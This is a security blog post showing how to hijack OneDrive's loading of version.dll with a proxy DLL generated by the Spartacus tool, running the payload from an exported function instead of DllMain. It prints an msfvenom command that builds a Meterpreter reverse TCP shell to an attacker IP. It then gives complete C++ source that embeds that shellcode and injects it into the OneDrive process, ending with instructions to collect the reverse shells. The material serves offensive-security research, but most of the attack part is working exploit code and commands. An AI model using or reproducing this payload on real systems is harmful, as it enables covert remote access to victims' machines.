DLL Hijacking using Spartacus, outside of DllMain

Jan 15, 2023
dll-hijacking dllmain ghidra procmon proxy-dlls spartacus

Contents

Introduction

In my previous post about using Spartacus to identify and exploit a DLL Hijacking within Microsoft's OneDrive the generated payload was executed directly from DllMain the moment that DLL was loaded. After reading this post about DLL Sideloading not by DLLMain by Shantanu Khandelwal, I really liked the idea. But, as I'm not a fan of manual tasks I've implemented this functionality in Spartacus v1.1.

Picking up from where we left off in the previous post, let's see how we can exploit OneDrive with version.dll, but this time outside the DllMain function.

Creating Proxy Functions

In Spartacus v1.0, the proxy DLL simply exported all original functions. In the latest version (v1.1), we want to create proxy functions for the legitimate functions instead of just redirecting them. However, extracting function definitions (determining what arguments a function takes) from a compiled DLL is no simple task. And for this reason, we will be using Ghidra.

Downloading Ghidra

Simply download Ghidra from GitHub's release page, and extract it on your local machine. Make sure it runs (you will need to have Java installed on your machine), and make sure the file ./support/analyzeHeadless.bat exists.

Generating version.dll Functions

Now that Ghidra is installed and working, Spartacus can generate proxy functions by running:

Spartacus.exe --generate-proxy --ghidra C:\Ghidra\support\analyzeHeadless.bat --dll C:\Windows\System32\version.dll --output-dir C:\Projects\spartacus-version --verbose

--ghidra is the path to Ghidra's analyzeHeadless.bat file.

--dll is the path to the DLL we want to proxy.

--output-dir is the directory where the Visual Studio solution will be saved to. This directory must not exist.

Spartacus Generate All Proxy Functions

#1 - Here, Spartacus will identify all the export functions of the legitimate DLL.

#2 - This is the command that executes Ghidra, analyses the project, and executes the ExportFunctionDefinitionsINI.java postScript.

#3 - When ExportFunctionDefinitionsINI.java is executed, it will create a file called ExportedFunctions.ini which will contain all functions and their signatures.

#4 - The last step is to create the Visual Studio solution. It is clear however, that while the exported functions are 17, the matched functions are 13.

As mentioned above, compilers work in mysterious ways, and it's quite difficult to reliably extract function signatures from compiled DLLs. For this reason, Spartacus will try to determine which signatures are most likely correct, and only use those to generate proxies. For example, when Ghidra is unable to determine a parameter's type it will represent it as undefined (instead of let's say, int, DWORD, or LPCSTR) - and Spartacus will ignore all functions that have any such parameter.

DllMain.cpp Structure

The dllmain.cpp file that will be generated from the above steps, will look like this:

#pragma once

// #pragma comment(linker,"/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
// #pragma comment(linker,"/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
// #pragma comment(linker,"/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
// #pragma comment(linker,"/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
// #pragma comment(linker,"/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
// #pragma comment(linker,"/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
// #pragma comment(linker,"/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
// #pragma comment(linker,"/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
// #pragma comment(linker,"/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
// #pragma comment(linker,"/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
// #pragma comment(linker,"/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
// #pragma comment(linker,"/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
// #pragma comment(linker,"/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")

#include "windows.h"
#include "ios"
#include "fstream"

typedef BOOL(*GetFileVersionInfoA_Type)(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
typedef BOOL(*GetFileVersionInfoExA_Type)(DWORD dwFlags, LPCSTR lpwstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
typedef BOOL(*GetFileVersionInfoExW_Type)(DWORD dwFlags, LPCWSTR lpwstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
typedef DWORD(*GetFileVersionInfoSizeA_Type)(LPCSTR lptstrFilename, LPDWORD lpdwHandle);
typedef DWORD(*GetFileVersionInfoSizeExA_Type)(DWORD dwFlags, LPCSTR lpwstrFilename, LPDWORD lpdwHandle);
typedef DWORD(*GetFileVersionInfoSizeExW_Type)(DWORD dwFlags, LPCWSTR lpwstrFilename, LPDWORD lpdwHandle);
typedef DWORD(*GetFileVersionInfoSizeW_Type)(LPCWSTR lptstrFilename, LPDWORD lpdwHandle);
typedef BOOL(*GetFileVersionInfoW_Type)(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
typedef DWORD(*VerFindFileA_Type)(DWORD uFlags, LPCSTR szFileName, LPCSTR szWinDir, LPCSTR szAppDir, LPSTR szCurDir, PUINT lpuCurDirLen, LPSTR szDestDir, PUINT lpuDestDirLen);
typedef DWORD(*VerFindFileW_Type)(DWORD uFlags, LPCWSTR szFileName, LPCWSTR szWinDir, LPCWSTR szAppDir, LPWSTR szCurDir, PUINT lpuCurDirLen, LPWSTR szDestDir, PUINT lpuDestDirLen);
typedef DWORD(*VerInstallFileA_Type)(DWORD uFlags, LPCSTR szSrcFileName, LPCSTR szDestFileName, LPCSTR szSrcDir, LPCSTR szDestDir, LPCSTR szCurDir, LPSTR szTmpFile, PUINT lpuTmpFileLen);
typedef BOOL(*VerQueryValueA_Type)(LPCVOID pBlock, LPCSTR lpSubBlock, LPVOID * lplpBuffer, PUINT puLen);
typedef BOOL(*VerQueryValueW_Type)(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID * lplpBuffer, PUINT puLen);

HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\version.dll");

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

VOID DebugToFile(LPCSTR szInput)
{
    std::ofstream log("spartacus-proxy.log", std::ios_base::app | std::ios_base::out);
    log << szInput;
    log << "\n";
}

BOOL GetFileVersionInfoA_Proxy(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData)
{
    DebugToFile("GetFileVersionInfoA");
    GetFileVersionInfoA_Type original = (GetFileVersionInfoA_Type)GetProcAddress(hModule, "GetFileVersionInfoA");
    return original(lptstrFilename, dwHandle, dwLen, lpData);
}

[........................REDACTED FOR READABILITY........................]

BOOL VerQueryValueW_Proxy(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID * lplpBuffer, PUINT puLen)
{
    DebugToFile("VerQueryValueW");
    VerQueryValueW_Type original = (VerQueryValueW_Type)GetProcAddress(hModule, "VerQueryValueW");
    return original(pBlock, lpSubBlock, lplpBuffer, puLen);
}

There's a few things worth explaining here.

Pragma Statements

As described above, Ghidra isn't always capable in extracting function signatures, therefore the pragma statements that are not commented, are the ones it wasn't possible to parse.

The pragma statements that are commented out, are the ones that have a proxy function further down.

However, Spartacus will still create these statements for all export functions, in the event you wish to manually enable/disable any of them.

The DebugToFile Function

When you first compile version.dll, you don't know which functions will be called by your vulnerable application - in this case OneDrive. Will it be VerQueryValueW, GetFileVersionInfoA, or another one? For this reason, Spartacus makes a call to this function from each proxy function, to help you identify which one you can use. Of course, you can change the path of spartacus-proxy.log, which by default will be created within the application's folder.

Compiling version.dll

At this point, you will have a Visual Studio solution for your proxy file.

Proxy Solution Structure

Depending on the function definitions, there may be errors in the file if header files are missing!

This means that you may have to manually "fix" the file to get rid of any undeclared types, structures, etc.

Make sure you select the Release configuration (Debug doesn't work), and compile:

Proxy Solution Structure

Take version.dll and place it in the same directory as OneDrive.exe. Double click and magic happens!

Proxy Solution Structure

After executing OneDrive, when a function is called it will write its name to spartacus-proxy.log. As you can see below, these are all the functions that have been called, executed, and proxied:

Proxy Solution Structure

Exploiting GetFileVersionInfoW

Unless the situation calls for something over the top, there is no reason to proxy all the functions within the DLL. Therefore, we will create a DLL that only proxies GetFileVersionInfoW.

We will run the exact same Spartacus command as previously, change the output path, and add --only-proxy "GetFileVersionInfoW" in the end. This way Spartacus will only create a proxy for that specific function:

Spartacus.exe --generate-proxy --ghidra C:\Ghidra\support\analyzeHeadless.bat --dll C:\Windows\System32\version.dll --output-dir C:\Projects\spartacus-version --verbose --only-proxy "GetFileVersionInfoW"

Proxy Solution Structure

Spartacus has skipped all other functions and has only created the proxy for the one we defined.

Compiling with a Payload

Spartacus will once again create the DebugToFile function, which at this point we no longer need as we have already identified the target function.

Using msfvenom, generate the shellcode:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.88.128 lport=4444 -f c -o /tmp/shellcode.c

And using the basic process injection described here and removing DebugToFile, we end up with the following final code:

#pragma once

#pragma comment(linker,"/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker,"/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
#pragma comment(linker,"/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
#pragma comment(linker,"/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker,"/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
// #pragma comment(linker,"/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker,"/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
#pragma comment(linker,"/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
#pragma comment(linker,"/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
#pragma comment(linker,"/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
#pragma comment(linker,"/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")

#include "windows.h"
#include "ios"
#include "fstream"

typedef BOOL(*GetFileVersionInfoW_Type)(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);

HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\version.dll");

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

VOID Payload() {
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f"
        "\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
        "\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
        "\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49"
        "\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88"
        "\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
        "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
        "\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
        "\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
        "\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
        "\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
        "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
        "\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
        "\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x58\x80\x41\x54"
        "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
        "\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
        "\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
        "\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
        "\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
        "\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
        "\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
        "\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
        "\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
        "\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
        "\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
        "\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
        "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
        "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
        "\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
        "\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
        "\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
        "\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
        "\xf0\xb5\xa2\x56\xff\xd5";

    HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
    PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
    HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);
}

BOOL GetFileVersionInfoW_Proxy(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData)
{
    Payload();
    GetFileVersionInfoW_Type original = (GetFileVersionInfoW_Type)GetProcAddress(hModule, "GetFileVersionInfoW");
    return original(lptstrFilename, dwHandle, dwLen, lpData);
}

All exports are redirected except GetFileVersionInfoW, from where we call our Payload function.

Make sure your configuration is set to Release and matches the target's architecture - x64 in this case, and compile.

Double-click on OneDrive.exe and enjoy your reverse shells:

Proxy Solution Structure

As you can see, we got way too many sessions - this is because Payload is called every time GetFileVersionInfoW is called, so make sure you put something in place to prevent it from running multiple times.

Conclusion

You can find Spartacus at https://github.com/Accenture/Spartacus.